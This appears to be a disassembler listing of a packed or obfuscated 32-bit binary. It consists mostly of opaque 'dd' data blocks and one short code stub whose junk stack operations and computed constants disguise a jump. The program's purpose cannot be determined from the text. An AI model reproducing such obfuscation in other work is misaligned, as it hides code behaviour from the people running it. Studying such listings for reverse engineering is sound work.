		dd 0EBD3DC63h, 0F977B697h, 1D236A35h, 0F0DA2B0Bh, 92FA5325h
		dd 240750C6h, 18B25399h, 0B891EABDh, 4B6E16CCh,	0C8A55DE5h
		dd 0BB042A60h, 182B106Ah, 0B08C96F8h, 1FB78075h, 0FF2E0630h
		dd 96E7C7C1h, 74DB8B45h, 0C32E0D49h, 0CB3AE7D7h, 277021F7h
		dd 0FB2500Bh, 4D7B0000h, 5278C709h, 4A77DC0Ch, 5671DE72h
		dd 454DDA76h, 0BBCADB75h, 4D83BBE7h, 4D83BBE6h,	4B85A5E6h
		dd 468AACFCh, 0E2566363h, 0E1C69849h, 6452C4B2h, 7D4DD85Fh
		dd 0A980A434h, 2F7E5C7Ch, 0E32572DEh, 525D0DC3h, 5E06547Ah
		dd 0FFBE48E6h, 4EAD8C41h, 0CB052963h, 2D15337Ch, 0AFF8D12Dh
		dd 2246453h, 7613D7CEh,	0E6339B7Ah, 0C95CAA19h,	0BA85CD1Eh
		dd 7F72B191h, 9DA1E8B7h, 5B74F95Eh, 0B088BEE7h,	0D0ACBB17h
		dd 18A786ADh, 3C9931D4h, 342DDCF3h, 7363BF88h, 83DFFF2Ch
		dd 0B8344BAAh, 0B1D8FDD5h, 32CA3862h, 554B3D98h, 648CA37h
		dd 3755CDB3h, 0A4F5C6CAh, 0FC2C735Bh, 62AFF0DAh, 17604644h
		dd 193318D4h, 0C0A34835h, 0CF6B6D93h, 0EDF8Ch, 5462AE00h
		dd 5F7FAFF4h, 5D7DAAF1h, 4165A4F3h, 4076A08Fh, 0DA8E2588h
		dd 0D562EEECh, 0D562EEEEh, 0D378D0F0h, 0B67BD5F9h, 4937B91Ch
		dd 0C1CCC698h, 547A52E9h, 0D6E62D72h, 7C42A188h, 0C6888D63h
		dd 5D107EF3h, 262A7BC9h, 0E8E2A349h, 0BA2B1CCDh, 320859CCh
		dd 0BBB3F54Fh, 0CEC883C8h, 0B3D4ADAh, 2B7A5Ch, 24C0000h
		dd 12A72FEEh, 0C95D30A4h, 27084293h, 0B70AC6E6h, 0C692ACC3h
		dd 3B614E5Eh, 726FEA60h, 5FE464B5h, 4B106E4Eh, 0E50h, 3F6A359Fh
		dd 4BA1DC1Fh, 0DB5004Ah, 8AC9638Bh, 1E0E11B9h, 0C36C1038h
		dd 0AD9AE0D4h, 25045A7Ah, 92BA99D4h, 0CE666E4Ch, 0F4C55082h
		dd 6E155026h, 0EECB8382h, 0CC8E15B7h, 0D47B53BCh, 0C58DD1F5h
		dd 0AEA508F0h, 0E93A0BC8h, 2D7FC08Ah, 301FC709h, 80E93519h
		dd 785E4EA5h, 0BAEDB222h, 0C8245B9Ah, 8EECF0DBh, 51646EBFh
		dd 0C287B80Ch, 5B2D88B0h, 58D2B781h, 0E5F2C0Fh,	136D7691h
		dd 3D9EBA76h, 0DCCh, 0E967575Dh, 0E66A4842h, 0E0685059h
		dd 0FC6C705Bh, 0FD536B57h, 0C1C9A1D0h, 0DDC857F9h, 0C3C857F9h
		dd 0C6C66DE3h, 95968E0h, 984FC4ACh, 0FAACDFC6h,	75E25CD8h
		dd 0B25399C3h, 0F3455018h, 0F0C375E2h, 460E44A7h, 24F1B0F9h
		dd 0C375E25Ch, 0F6350657h, 638A0A11h, 48FFC7C9h, 0B4C1EDB9h
		dd 9DA22475h, 0BFF8A28Bh, 6BA15BB7h, 210E361Ah,	0EDF1D8E6h
		dd 6FBE9Ch, 0EAC9240Ah,	0AA8882A2h, 866A0559h, 75EACF87h
		dd 8BCCB040h, 634264A4h, 4BDC4192h, 0EB702588h,	0D320C4Fh
		dd 0CDFB0000h, 0D2F84789h, 0CAF75C8Ch, 0D6F15EF2h, 0C5CD5AF6h
		dd 3B4A5BF5h, 0CD033B67h, 0CD033B66h, 0CB052566h, 0C60A2C7Ch
		dd 62D6E3E3h, 61C6984Fh, 7A524432h, 0F92D7254h,	9EFCD8C7h
		dd 0C9207E4Fh, 61AB94EAh, 5332015Dh, 8AB32D37h,	0A59167D9h
		dd 0D5000006h, 0A72FEE02h, 638A1E12h, 0C284D5C9h, 0A7722B7Dh
		dd 0C6984AD1h, 2674424Ch, 3D2C76C7h, 6EC47EE9h,	0C8196Ah
		dd 0F1CD113Bh, 6D4D5EE1h, 8C744111h, 87C698FAh,	0A10665B6h
		dd 0C698FAD3h, 933BDA16h, 7C5A44EBh, 8A35801h, 0F7C0CCB0h
		dd 2550030Ah, 6873CF70h, 0C88h,	2D231B01h, 2A260406h, 2424141Dh
		dd 20280C1Fh, 212F2F1Bh, 858DE59Ch, 818C9BB5h, 9F8C9BB5h
		dd 828A91BFh, 0B51DACBCh, 984C9860h, 3E689BC6h,	404A7A52h
		dd 85CD1162h, 0E270F8DDh, 2273C375h, 9ABCECC3h,	6A6C7F44h
		dd 0D98AEE66h, 5FADE67h, 0D8E80000h, 0C375E25Ch, 6DD3E6AEh
		dd 9FC375E2h, 75E2B63Ah, 937C4DC3h, 905C6342h, 78F0C58Dh
		dd 82C9638Ah, 3792A8AAh, 10533E53h, 0D77852A3h,	0D07FD1F5h
		dd 0EF88D6F8h, 6F4A1C01h, 0CCB028EAh, 44C1BE8Fh, 0C702570h
		dd 0BEAA734h, 75A30000h, 6AA08F41h, 72BF8444h, 6EB9864Ah
		dd 8DB5824Eh, 8332834Dh, 75DBE32Fh, 75DBE32Eh, 73DDFD2Eh
		dd 0EC2E424h, 3A8E2BBBh, 39C6984Ch, 7A529CCAh, 1162404Ah
		dd 84AAE2CDh, 7C1A4DB6h, 1756F34Bh, 0E20E72EFh,	167C1483h
		dd 96B967D9h, 0EB5093ABh, 558h,	2FEE02FFh, 8AB512A7h, 51A2C963h
		dd 0A9F6D679h, 984AA40Ch, 1D6EBFC6h, 0F23C0333h, 9FB49ECDh
		dd 0E132C4A2h, 597DAF82h, 0E1C4B005h, 0EB01C698h, 0E6371734h
		dd 2F9124ECh, 24C698E1h, 0C7D298DBh, 0CCB01302h, 0E64A6F67h
		dd 0FDC8A1D3h, 6BDE43ACh, 7770253Bh, 0B3A80DBh,	0C5F30000h
		dd 0DAF05FF1h, 0C2CF54F4h, 0DEC956FAh, 0DDC552FEh, 334253FDh
		dd 0C50B337Fh, 0C50B337Eh, 0C30D2D7Eh, 0DE725474h, 6ADEFBEBh
		dd 69C6984Dh, 7A524C3Ah, 0F15E0654h, 58B7F6D6h,	745A7070h
		dd 0A8F6C726h, 9A8E085Bh, 67D98A0Ah, 4AF3Ah, 57D88C00h
		dd 95C375E2h, 6AA2828Ah, 0C6177644h, 7114D8E7h,	9C8E9159h
		dd 709A7FBEh, 0FC9638Ah, 818B943Eh, 848493BDh, 3C745CA2h
		dd 0E8640A5h, 0DAE02EEBh, 0D917AA89h, 32079234h, 37CCB04Ah
		dd 731039E6h, 48E07025h, 0A9F13h, 14226E00h, 1F3F6F34h
		dd 1D3D6A31h, 1256433h,	3660CFh, 9ACEE5C8h, 95A2AEACh
		dd 95A2AEAEh, 93B890B0h, 76BB95B9h, 52F7795Ch, 818CC698h
		dd 547A5229h, 0CFEF3906h, 6A6CDFF3h, 0D97F81B9h, 0B23A29B6h
		dd 829E8DC5h, 20036CFBh, 55FBDBCDh, 0D8BCDE76h,	174EE67h
		dd 52F80000h, 3906547Ah, 6A01CFEFh, 7CF8786h, 0F144B42Fh
		dd 3D78FDE4h, 5C4E5F5Ch, 370B54C9h, 9A3FE7AFh, 0C6922916h
		dd 9167DC2Dh, 92C69229h, 3F856241h, 49C69229h, 841C0482h
		dd 4061F1BFh, 36h, 2FEE0202h, 0FEB912A7h, 65B6C95Ch, 0E4CAC26Dh
		dd 5EBCE96h, 1EC692FEh,	7B9AFCCDh, 15C060B5h, 7EC33F7Eh
		dd 0C692C786h, 0D5BFDBF0h, 61F2693Bh, 0CF09h, 7A525D00h
		dd 1C62404Ah, 45EAFCCDh, 0D21D6141h, 0A28BD7E7h, 0C32C1251h
		dd 0CB9BE7D7h, 0E2C2B603h, 0F0C1C375h, 684E5EB5h, 0DDE32512h
		dd 0B594EACAh, 78D5E464h, 0E3C3760Dh, 0AC4B85A9h, 67574340h
		dd 0D5E12C1Bh, 8613BB84h, 0C95FA191h, 6ED2E7AFh, 65C69C31h
		dd 1B64D914h, 4E65FBB3h, 0E5DE6748h, 3763CC86h,	3462C907h
		dd 9BA9906h, 0DA766A3Bh, 95B81h, 0D0E6D200h, 0DBFBD378h
		dd 0D9E12E75h, 0DDE12877h, 0DCFA2473h, 5E12A10Ch, 59E66A50h
		dd 59E66A52h, 57FC6C4Ch, 0CAFF5175h, 534B3D98h,	5D48C698h
		dd 2F64526Dh, 75E2268Ah, 7B4BB4C3h, 9ACE4410h, 27AFF8C9h
		dd 0CA292D18h, 0D1EF3906h, 0BC8DD1E9h, 4C37B53h, 0C453B938h
		dd 1434387Bh, 6547A52h,	4C2EE65Eh, 0A1520D19h, 193D6F42h
		dd 2AE0437h, 864E0000h,	0C375FBDEh, 3D0EC375h, 75C3F078h
		dd 4FA2F3C3h, 0C9207E5Eh, 0EE02FCEAh, 7D12A72Fh, 7AC95D0Fh
		dd 0CEF34550h, 0B9F0C692h, 1A734F6Fh, 0DFA2F8C9h, 0C692CE65h
		dd 0CDDC6313h, 79B495E9h, 0E8786066h, 0E461F262h, 242h
		dd 0E255D8EEh, 4CA0C375h, 0B4B40149h, 3FC9638Ah, 715BE4EEh
		dd 7454E36Dh, 0EC440C52h, 0B38D1B4Ah, 0BDC02391h, 51646E2Fh
		dd 0CCB0956Ch, 0A6AD1169h, 59407378h, 0D6BE9308h, 0CA667025h
		dd 85F91h, 0D4E22E00h, 0DFFF2F74h, 0DDFD2A71h, 0C1E52473h
		dd 0C0F6200Fh, 5A0EA508h, 55E26E6Ch, 55E26E6Eh,	53F85070h
		dd 36FB5579h, 50B7399Ch, 414CC698h, 206A3569h, 0DCCC2302h
		dd 0BE9CBAE4h, 90C01E6Fh, 0FF8CD898h, 1E5D2D71h, 694C1933h
		dd 0C3759E87h, 1C62B39Ch, 2C7C388h
		dd 0B7B2282Ah, 9A03F63Ah, 3C3802D7h, 0FCD31286h, 68C08AACh
		dd 767714F0h, 0E16F4E75h, 0D91972E2h, 1845267h,	52140000h
		dd 3906547Ah, 2F59C6EFh, 38289302h, 755C2B9Dh, 8EDF28C3h
		dd 5CE393BDh, 72527553h, 0B18CDD21h, 973FDE12h,	5C4E3502h
		dd 5674DBC9h, 0E403570h, 9229C5ABh, 0BC8DDEC6h,	6B4E765Eh
		dd 0C6922985h, 0E4754D9Eh, 9578697Ch, 249079B4h, 52C69212h
		dd 5CD411B9h, 0F7BA19A1h, 9B0E6DF3h, 61F26F09h,	333Bh
		dd 0EE028F00h, 0B912A72Fh, 4FC95CFEh, 0B78BABE0h, 5CA61756h
		dd 1ED50272h, 89D52692h, 92DE4034h, 751536C6h, 9FBFEFB0h
		dd 5257C95Ch, 0D47561F2h, 71000000h, 1D3D6A35h,	0A68DE8C1h
		dd 0D7A4066h, 0DDE12B05h, 7362DA8Ch, 8B86E819h,	0D21D6540h
		dd 0E2C0CAFAh, 6A7C4D9Ch, 3F9AC3C5h, 0C3751649h, 0CD28794Ah
		dd 4842EDF5h, 2D715574h, 5EAFF3DCh, 3618301Fh, 0C3C56A1Ah
		dd 6F4E9FE3h, 76C00D8Ah, 527454C3h, 2AEB01FEh, 6857F8A0h
		dd 0FC3F0E6Ch, 5ECD361Bh, 0E8E233C9h, 1E7C5847h, 59E6ECCFh
		dd 58E76951h, 5C8F616Eh, 0BA281146h, 476F6040h,	6DBE8FB2h
		dd 3BE9A5B0h, 0E6F54D6Ah, 6BCh,	0D977474Dh, 0D67A5872h
		dd 0D0784049h, 0EC7C404Bh, 0ED635B47h, 0B1F9B1C0h, 0CDF84789h
		dd 0D3F84789h, 0D6F65DF3h, 796958F0h, 9856D45Ch, 0CABCEFC6h
		dd 0FA566452h, 0F55B7BADh, 0ABCC71C9h, 22785E4Eh, 0E572F3CBh
		dd 527F6B4Ah, 5E06547Ah, 389D4E6h, 64478697h, 113F1F09h
		dd 2366h, 7A52B000h, 0EF390654h, 4504F3CFh, 9FA5E745h
		dd 70F8DD90h, 73C375E2h, 0BC8DD122h, 383AFD53h,	6C000000h
		dd 6547A52h, 0F4D4F15Eh, 0E26BD0B9h, 2BBAC375h,	0EDD57AAFh
		dd 7DB891EDh, 0BE103616h, 5DDF6A86h, 5894DCB9h,	86FA6730h
		dd 16DA196Ah, 0E6C6C16Eh, 5CA2828Bh, 35B82E0Dh,	0DE1D3D6Ah
		dd 0A3EBD9F3h, 1D6EBF83h, 9FDDFDB5h, 38023A67h,	23025F2Ch
		dd 61A8F7DFh, 8D631E5Dh, 0BB1EC688h, 0C3753535h, 34BEFDCEh
		dd 6353D1E1h, 331827C9h, 1263D013h, 97B797B8h, 4B03624Bh
		dd 4E82A4E4h, 3F8EA7E1h, 7C6484D0h, 91597142h, 0F9BE9C8Eh
		dd 0C69BBB77h, 19ED2A0Ch, 94E04AF6h, 7916684Bh,	9D389273h
		dd 0CC8D2486h, 0C76862B3h, 8FAFFFC5h, 7B4777A0h, 200FC112h
		dd 0DFF8C6E8h, 7F5A0C11h, 0C280A96Ah, 0E0611E6Fh, 0E076147Bh
		dd 56E1348h, 0F13F0000h, 0EE3C0BC5h, 0E3B00C8h,	123502CEh
		dd 9311E32h, 0FFB61F31h, 0F15F7FABh, 0F15F7FAAh, 8F4161AAh
		dd 8A4668A0h, 0A60AAF27h, 0BDC69857h, 7D35184Eh, 253B9122h
		dd 0CF220110h, 0C857F9DDh, 2CD4FEC0h, 758A2789h, 0DBCD3CC3h
		dd 774BAAFBh, 943E0008h, 8C942F9Ch, 0FC7CB0BFh,	2880DA4Ah
		dd 6C5B961Ah, 0F83B1268h, 4F6FB986h, 27070473h,	9FBFECDBh
		dd 9C2EA8E3h, 804545F6h, 2E9FA5A8h, 684B2C09h, 842A0305h
		dd 7EDDCB06h, 20715577h, 0FA6A79D7h, 3B67D8ABh,	0CE2C2A14h
		dd 0B698B0FFh, 428E77h,	2D80000h, 0FFA72FEEh, 0E21EE237h
		dd 0C415C375h, 30B200E9h, 4EA1C95Dh, 0A6287941h, 9BB28C99h
		dd 850F67BBh, 0ECE34028h, 113F0859h, 924E3A80h,	2C7FC0C6h
		dd 0C6C62D08h, 0CAC368E0h, 89C794EAh, 13000004h, 2206A35h
		dd 9FDEFE2Fh, 68B698B0h, 27290D1Fh, 9E62B77Fh, 1CC375E2h
		dd 0AC884333h, 5122FCh,	0B3529E25h, 0C3CC531Bh,	0E2DFB8FBh
		dd 0D7C95C49h, 2B63CC86h, 97D6370Bh, 256ED6ABh,	0CCFBC692h
		dd 4345B288h, 0C08B1F63h, 2ED674C6h, 113B0501h,	4F98F1CDh
		dd 775D7D6Ch, 61F1C3DDh, 36EFh,	0EE02FB00h, 348FA72Fh
		dd 0CE14F159h, 3481CD28h, 0C95C465Bh, 0D55B7E50h, 0EEC69236h
		dd 8B6E4C9Dh, 0C6923629h, 60A8C5Fh, 61F1BA8Eh, 80B6E04Fh
		dd 11CD8A5h, 52EA0000h,	4A72547Ah, 75E2996Fh, 6A499AC3h
		dd 0DFFF2B14h, 517EA8F7h, 0B58187B4h, 9DD829F0h, 6C725AA5h
		dd 9167B27Ah, 1BC375D7h, 2ED04CEDh, 6EBF08D5h, 0C4C4330Fh
		dd 0EE4B6EE2h, 12C3759Fh, 9D35050Dh, 759FB038h,	362B3C3h
		dd 0DAC4FC2Ch, 0B78BABE2h, 14340556h, 0E5391D0Fh, 6F6726CAh
		dd 99E5C9C0h, 5C7975B0h, 0C95C8CEBh, 0E299B780h, 9F470F0Eh
		dd 0F1B698B0h, 0C6926E0Fh, 0F2F83B04h, 0B801F827h, 4ED1F9CCh
		dd 0C5247A40h, 0A4D59860h, 0FC439BC8h, 2D7AB142h, 2EA0F1C2h
		dd 951BBE66h, 0AEC8A420h, 15484254h, 0F8C99FFDh, 4C6856BDh
		dd 0C5247A5Ch, 0C3CF54F4h, 774F06FBh, 0BF9B7022h, 32F1Ch
		dd 84B2FE00h, 8FAFFF44h, 8DCDFA41h, 0F1D5F443h,	0F0C6F05Fh
		dd 6A3E7558h, 65321E3Ch, 65321E3Eh, 63C80020h, 0E6CB0529h
		dd 5567C9ECh, 317CC698h, 3D6A3559h, 0E2EF5164h,	9BE4C375h
		dd 1A046B4Ah, 0FBACB235h, 8B349C09h, 0DB90D0F3h, 0DC0C5DAEh
		dd 0DF715577h, 3F1F0817h, 0EE02EAFCh, 0B912A72Fh, 0B6C95CFEh
		dd 0F1491965h, 0C211EEC4h, 7EDB1AAAh, 0C692D286h, 0D5BFDBF0h
		dd 61F25E3Bh, 0DE09h, 7A525D00h, 0F1390654h, 42EDF5C9h
		dd 30B81D4Ah, 33C375E2h, 7C4D91E2h, 0E6DB5801h,	4646C375h
		dd 5DD66E60h, 0B93EEE0Bh, 90BFB5F0h, 2F4896B8h,	2F8ADCC1h
		dd 0C95CE666h, 0CAEC3C73h, 0BF9F8BF4h, 0E8390A63h, 0D5084EE6h
		dd 7281424Fh, 0AA463D33h, 1AB10792h, 6E4BC692h,	0C6921A9Ah
		dd 0AEFF4899h, 10A0755Dh, 83CCB872h, 882D62ACh,	0C8A47D20h
		dd 0BD81D223h, 834B036Ch, 6F8066ABh, 0D4805145h, 87300ABAh
		dd 0BB96D5F4h, 0BA814F8Fh, 5767508Ch, 0E1422B0Bh, 65437103h
		dd 2956CB14h, 0C17022EFh, 20A7269h, 95830000h, 8A80AFA1h
		dd 929FA4A4h, 8E99A6AAh, 0AD95A2AEh, 6312A3ADh,	153B030Fh
		dd 153B030Eh, 133D1D0Eh, 2E220404h, 1AEECB9Bh, 19C6985Ah
		dd 6452BCEAh, 7BADFA56h, 52D5F55Bh, 3906547Ah, 3A01CFEFh
		dd 0D1EECC12h, 0A8507A1Bh, 0BE3D2590h, 694475EAh, 5CDF4780h
		dd 0FFC32CC9h, 68B698B0h, 0D32F0F1Fh, 598A0CBFh, 92DFF47Ch
		dd 6DBE8FC6h, 0A4048249h, 30084264h, 0D9B72F20h, 4A86E5CEh
		dd 877EA29Ah, 0B623331h, 0B6579528h, 99DC541Ch,	0B63B286h
		dd 7FC9CD78h, 89C4D527h, 7C4278A6h, 0FC69CE2Dh,	0F9CCBA6Fh
		dd 236552A8h, 0AB834B03h, 63F560E8h, 0B206E305h, 0B1C8BBCDh
		dd 3A020960h, 58A685E4h, 15173E6Fh, 3988A0B3h, 0AE99E536h
		dd 0BB045A60h, 0A504B6D0h, 9854A422h, 0BF8DDF5h, 68C29399h
		dd 450D311Fh, 0C0558870h, 7BBA8BD2h, 0B8123414h, 4EACA897h
		dd 0F5C23C7Fh, 9FBFEED0h, 0B1196A43h, 55442C89h, 0E5FD2C0h
		dd 27AFD32Fh, 0CA2C3218h, 5C1A4C19h, 0B82B0AD6h, 414AD51Eh
		dd 330F2F7Fh, 47AA89DAh, 27EF6145h, 0DFCCDE0Fh,	3073EEE3h
		dd 14BE5F8Dh, 25E7496Ch, 93FCD2C0h, 0B6BF1A50h,	23D8E93Fh
		dd 0AC1981DBh, 83EC24E2h, 33B64CBh, 0B791DE20h,	0BF374B97h
		dd 1F5E22F7h, 455D4E9h,	0D710B629h, 25795D48h, 1F9018BDh
		dd 4293D4E9h, 618F3271h, 468F2ABCh, 13DEC005h, 7B710EC2h
		dd 5EBC9A84h, 9C943E0Fh, 2747457h, 0A810A592h, 0ABDEF119h
		dd 0A02A095Ah, 0E7706515h, 141862D4h, 29E0B3F1h, 6857ABF4h
		dd 65321E20h, 0E44B0323h, 72BD81A5h, 0C7267747h, 924F06FBh
		dd 533A0BB1h, 93B39537h, 90B696BDh, 10351A4Ah, 8F9EF530h
		dd 0BC2F53AFh, 4546E91Ah, 0E12B0665h, 0E42473DDh, 99E5D1DCh
		dd 401B67B0h, 1Ch, 1212B28Ah, 611D75ADh, 73235402h, 1E48373Bh
		dd 4294C13Ah
		dd 0C3E4BD67h, 5402618Fh, 0A506652h, 0F7CBEB3Dh, 5FA38388h
		dd 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h, 7D4179A6h
		dd 0E43A1832h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	1601h
		mov	[esp], eax
		push	esi
		push	edx
		push	67BA14F6h
		pop	edx
		add	edx, 46980975h
		and	edx, 24EA6AD4h
		sub	edx, 0D6CE8A50h
		mov	esi, edx
		pop	edx
		add	esi, 0B87A28F5h
		mov	ecx, esi
		pop	esi
		push	5B09h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ecx
		mov	[eax+8], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		dd 0B80E12h, 305EDBBh, 1AE0FFC5h, 391F84C8h, 1A036D7Eh
		dd 0C748E35Eh, 0B158B580h, 733C579Fh, 117C70DFh, 0A109ADA3h
		dd 0DF15FB6Dh, 0F74728A3h, 0A441F81h, 0CB2DD2B4h, 0D63512DCh
		dd 8115936Ch, 0C246B07Ah, 4E1C58DEh, 0A6164971h, 586F40C5h
		dd 9A46A933h, 0CF6F23DBh, 0EC5AE308h, 4C3195AAh, 0F5657D31h
		dd 94513768h, 302CE66Ch, 5820A945h, 7467AA91h, 21514F35h
		dd 0E85FA334h, 0Dh, 919A12F9h, 978E7C94h, 0CB4D0D96h, 0B70F5E63h
		dd 5BC681FEh, 0E9000075h, 0Dh, 71FAD9DCh, 9C64EC27h, 0D98DD332h
		dd 1D26BA69h, 0DA8B0000h, 0C180068Bh, 2FF081E6h, 0F5C0AA1h
		dd 80h,	0B1C08100h, 0F6E92D7h, 168Ch, 11E900h, 7DEB0000h
		dd 0E95DD5DBh, 0CA9DD427h, 800C9A2Fh, 817D21E1h, 67872BC0h
		dd 58C0F44h, 0BB000000h, 48FC1EC6h, 0CF816650h,	68F6A10h
		dd 0C6C959BFh, 0F7EE8158h, 0F97ABD69h, 69F3C681h, 0F4A7ABDh
		dd 0FFFF9B85h, 14E8FFh,	96C80000h, 0D9DF23E8h, 7BE11A6Bh
		dd 7A298084h, 32927872h, 13E973B9h, 1F000000h, 8A410924h
		dd 6CE185A4h, 207A87CCh, 0EB251DE8h, 0EB5F2A74h, 8, 2CE5DC00h
		dd 4A2E92Ah, 0B3680000h, 0E905EDBDh, 0FFF9C08Fh, 0EDBE2D68h
		dd 0C085E905h, 8268FFF9h, 0E905EDBFh, 0FFF9C07Bh, 0F55B63A9h
		dd 0F25E7CAEh, 8C5C7CA5h, 884064A7h, 894777A3h,	0EDD58D24h
		dd 0E9D463EDh, 0F7D463EDh, 0FAD279D7h, 1DB574D4h, 985E30B8h
		dd 96C033C6h, 8566452h,	7C9ED3Fh, 0C9818468h, 5D11C7ECh
		dd 0DBF3DCC9h, 0F19E3C63h, 2407BCB7h, 99D67DAh,	20EBC692h
		dd 0A322B2A6h, 0DB2261F1h, 0A4000002h, 1D3D6A35h, 0DDB245DEh
		dd 0EC440E0Fh, 0EEC26D09h, 410D6811h, 5CCE8774h, 2CA38CC9h
		dd 3C65AE8Bh, 868765C5h, 7D20E9CCh, 0EC3DCA10h,	1AFBF18Eh
		dd 848665B0h, 52A3C06Eh, 0DFF6D778h, 0DF62857h,	0E7C617C0h
		dd 664840EFh, 6B4B5DEAh, 6BC6CBB6h, 500B2773h, 315h, 4D83BBE1h
		dd 4A86A4E6h, 4484B4FDh, 4088ACFFh, 418FCFFBh, 256D457Ch
		dd 216C3B15h, 3F6C3B15h, 226A311Fh, 0D5FDCC1Ch,	985F78C0h
		dd 5E087BC6h, 0A72FEE02h, 639FF212h, 26A8F9C9h,	27291119h
		dd 0A6282E18h, 52A89099h, 9EC6387Bh, 6DB189B1h,	0D42A0802h
		dd 5C45A4F5h, 0DD58017Ch, 2FC6985Fh, 0D9250900h, 4298BEEEh
		dd 0F4DB1A6Bh, 6C0DF2D4h, 0B46A3EDBh, 29B3F9Ch,	317F0000h
		dd 2E7CCB05h, 4E7BC008h, 5275C20Eh, 4971DE72h, 0BFF6DF71h
		dd 0B19FBFEBh, 0B19FBFEAh, 4F81A1EAh, 4A86A8E0h, 0E64A6F67h
		dd 0FDC6985Ch, 0EE02D88Eh, 0DAFFA72Fh, 0C375E256h, 0E42D1C6Dh
		dd 44A786D4h, 9F99AB0Eh, 0C112C963h, 4664A689h,	0DEA61B67h
		dd 4BC6985Eh, 0D6217D41h, 0A50BAEF7h, 0BEC6985Eh, 0BA3E1C6Dh
		dd 9F0CA9D1h, 6DE21CDBh, 0FCAFA38Ch, 3F5EF6DAh,	0B09F61ECh
		dd 36AB086h, 1845B20h, 356F0000h, 0C31F3F6Ah, 64A48BEAh
		dd 0AC547C42h, 75E2A709h, 1C53BCC3h, 0E6CD280Eh, 844880A6h
		dd 38CF83ACh, 6ABD6C09h, 0C415744Ah, 7716DAE9h,	0CF7D7A5Fh
		dd 297AC95Ch, 0AE9460D5h, 32E2C692h, 0D615256Dh, 79C60387h
		dd 0D9300E2Eh, 3E950F9Ah, 33B761F2h, 33000000h,	0A72FEE02h
		dd 5CFEB912h, 1965B6C9h, 92FED0A4h, 7C5C45C6h, 0D7F7D11Eh
		dd 97A2AB8Bh, 8694C23h,	1EA026A1h, 957F1B30h, 61F251FBh
		dd 0A4C9h, 7A529D00h, 0F1390654h, 828AF5C9h, 0CA622ABCh
		dd 6054C507h, 0BF01E6FAh, 0B4C37559h, 0C936086Bh, 4051FFDFh
		dd 0C3755C96h, 0EB654943h, 953DE00Ch, 5F4A1B00h, 0C78FD8C9h
		dd 0C0084E78h, 920F4F7Bh, 6A3B86FBh, 46500B27h,	0D0000001h
		dd 0D17ED2E4h, 2C7BD5F5h, 2E75DBE3h, 2A71DFFFh,	0A372DEFCh
		dd 64525C14h, 64505FE4h, 6E4E5FE4h, 537355E2h, 3F9ACCFDh
		dd 0C6985D49h, 526F5B4Ah, 77404864h, 59C8D9FDh,	0BC82D3C8h
		dd 67CC1C6Dh, 270E1F25h, 8262CA7Bh, 176BB4C4h, 0BB6BE536h
		dd 7F47C683h, 40A3B993h, 547A5216h, 0CFEF3906h,	8E866A01h
		dd 4D68B09Bh, 0C375FBFBh, 9E57AFF8h, 7D55A614h,	40288DB5h
		dd 0DDC3754Fh, 0C415E6D6h, 9DB200E9h, 50A1C95Dh, 0D1E9D17Eh
		dd 557556F9h, 7DC7DA16h, 0E8C69219h, 82B29EA0h,	0C4676BDh
		dd 9219C7A9h, 0B0F3DCC6h, 1965555Dh, 9442h, 0EE029400h
		dd 0FE12A72Fh, 0F5C9639Fh, 460E56A4h, 378CACF9h, 0C6985F41h
		dd 0DF327142h, 0B3C1E0CDh, 0B6B7A072h, 3D0E4E7Bh, 22040413h
		dd 0E9CCF4DCh, 0C698A807h, 996F4A1Ch, 9AC698A8h, 0A317849h
		dd 6E16F332h, 7BF6DA4Dh, 0F2DA7610h, 0F5D77CECh, 6BA28DD1h
		dd 9843774Bh, 547A52FEh, 0D6E62D72h, 8C57D9FCh,	36CF6DBh
		dd 5072C20h, 0C991A921h, 0E7496C79h, 0FCF6DB5Ch, 0C3154B93h
		dd 0EFECD211h, 11h, 292D1827h, 21B9F4D5h, 1F3F6A35h, 0D58BEAC3h
		dd 50665215h, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh
		dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh,	895202E4h
		dd 4C281E2h, 83000000h,	148704EAh, 24248B24h, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 68241489h, 40Eh, 57240489h
		dd 0E07D9E68h, 0EF815F60h, 5AF2C0A3h, 3C8BFA89h, 4C48124h
		dd 68000000h, 5D56h, 81242489h,	42404h,	81580000h, 4ECh
		dd 24148900h, 23242C81h, 8F7E861Fh, 40810840h, 861F2308h
		dd 24048B7Eh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5A2434FFh
		dd 0E904C483h, 0FFF9BBFBh, 0FF0AF3DEh, 0EDC0EDB8h, 0FFC50305h
		dd 0C40CFDE0h, 744C5C5Fh, 65BF720Dh, 0D9F5BA0Eh, 4E3C415h
		dd 648D8D24h, 6A05EDC2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 5B2DC350h, 0B14B5A74h
		dd 666A048Fh, 1E12C781h, 23158D89h, 6A05E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C9C20AC3h
		dd 9D352129h, 8B985C7h,	73E005E7h, 958B0000h, 5E72159h
		dd 1698589h, 85C705E7h,	5E70C99h, 0
		dd 1BF9BD31h, 0B5FF05E7h, 5E7129Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0F3C35343h,	223B3FA7h, 0D054C64Eh
		dd 0FF65B746h, 0E732CD95h, 0CE905h, 83C0000h, 5F9E8AE3h
		dd 0A8054C1Ch, 6AB010h,	1A1D95FFh, 0C08B05E7h, 0B7637AEBh
		dd 0DBC43B49h, 0FD985EF2h, 0A3C06D0Ch, 9796D125h, 55BA6D6Eh
		dd 0D3FCE655h, 41F79C57h, 0FAB024E8h, 0E4F05D12h, 0C59713C2h
		dd 53B79DDBh, 0AA5F7CD3h, 7E824E26h, 9D141AD4h,	0C571088Ah
